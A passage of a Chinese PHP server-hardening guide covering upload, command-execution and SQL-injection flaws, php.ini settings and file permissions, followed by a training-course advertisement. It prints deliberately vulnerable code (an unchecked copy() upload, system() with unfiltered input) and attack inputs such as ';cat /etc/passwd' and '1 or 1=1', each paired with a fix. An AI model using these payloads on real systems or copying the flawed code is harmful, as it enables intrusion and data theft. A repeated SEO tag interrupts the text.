如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

allow_url_fopen = Off

重启apache。

5、文件上传

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)-phpstorm漏洞信息泄露

$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )

$file_size #上传文件的大小

$file_name #上传文件的原始名称

$file_type #上传文件的类型

推荐使用:

$HTTP_POST_FILES[file][tmp_name]

$HTTP_POST_FILES[file][size]

$HTTP_POST_FILES[file][name]

$HTTP_POST_FILES[file][type]

这是一个最简单的文件上传代码:

?

//test_5.php

if(isset($upload) $file != "none") {

copy($file, "/usr/local/apache/htdocs/upload/".$file_name);

echo "文件".$file_name."上传成功!点击a href=\"$PHP_SELF\"继续上传/a";

exit;

}

?

html

head

title文件上传/title

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

/head

body bgcolor="#FFFFFF"

form enctype="multipart/form-data" method="post"

上传文件:

input type="file" name="file" size="30"

input type="submit" name="upload" value="上传"

/form

/body

/html

这样的上传代码存在读取任意文件和执行命令的重大问题。

下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:

... ile_name=attack.txt

然后可以用如下请求读取口令文件:

攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。

攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。

攻击者还可以上传PHP脚本执行主机的命令。

解决方法:

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。

使用$HTTP_POST_FILES数组来读取用户上传的文件变量。

严格检查上传变量。比如不允许是php脚本文件。

把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。-phpstorm漏洞信息泄露

把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。

严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。

对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:

Directory /usr/local/apache/htdocs/upload

php_flag engine off

#如果是php3换成php3_engine off

/Directory

重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。

6、命令执行

下面的代码片断是从PHPNetToolpack摘出,详细的描述见:

?

//test_6.php

system("traceroute $a_query",$ret_strs);

?

由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。

攻击者输入如下请求可以执行cat /etc/passwd命令:

;cat /etc/passwd

PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。

解决方法:

要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。

启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。

7、sql_inject

如下的SQL语句如果未对变量进行处理就会存在问题:

select * from login where user=$user and pass=$pass

攻击者可以用户名和口令都输入1 or 1=1绕过验证。

不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

从而避免了此类sql_inject攻击。

对于数字类型的字段,很多程序员会这样写:

select * from test where id=$id

由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。-phpstorm漏洞信息泄露

解决方法:

要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。

即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。

在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。

8、警告及错误信息

PHP默认显示所有的警告及错误信息:

error_reporting = E_ALL ~E_NOTICE

display_errors = On

在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。

正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。-phpstorm漏洞信息泄露

修改php.ini中关于Error handling and logging部分内容:

error_reporting = E_ALL

display_errors = Off

log_errors = On

error_log = /usr/local/apache/logs/php_error.log

然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。

9、disable_functions

如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。-phpstorm漏洞信息泄露

10、disable_classes

这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。-phpstorm漏洞信息泄露

可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

四、其它安全配置

1、取消其它用户对常用、重要系统命令的读写执行权限

一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。-phpstorm漏洞信息泄露

如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,-phpstorm漏洞信息泄露

2、去掉apache日志其它用户的读权限

apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。-phpstorm漏洞信息泄露

如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。

当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

网络安全工程师要学些什么?

网络安全工程师需要学服务漏洞扫描、程序漏洞分析检测、权限管理、入侵和攻击分析追踪、网站渗透、病毒木马防范、计算机语言等内容,还需要懂得网络安全产品的配置和使用。

网络安全工程师的工作职责:

一、主持项目网络安全产品的需求分析、项目可行性分析、技术评测、方案规划和搭建,提供相关技术支持;

二、设计满足顾客和网络安全性要求的网络安全解决方案;

三、通过数据分析和其他相关工具,排查解决项目实施过程中的复杂网络故障问题;

四、根据公司流程,规范化的进行项目实施并编写输出实施报告;

五、处理和解决客户的疑问与困难,做好客户的支持与服务工作;

六、其他专项或上级领导安排或支撑工作。

一般情况下,企业招聘网络安全工程师,要求应聘者具备网络安全通信协议、系统漏洞、恶意代码检测与分析、安全攻防、信息安全技术及产品等方面的理论基础和实践经验,同时具有较强的沟通协作能力。 感兴趣的话点击此处,免费学习一下-phpstorm漏洞信息泄露

想了解更多有关网络安全工程师的相关信息,推荐咨询达内教育。达内教育已从事19年IT技术培训,累计培养100万学员,并且独创TTS8.0教学系统,1v1督学,跟踪式学习,有疑问随时沟通。该机构26大课程体系紧跟企业需求,企业级项目,课程穿插大厂真实项目讲解,对标企业人才标准,制定专业学习计划,囊括主流热点技术,助力学生更好的学习。-phpstorm漏洞信息泄露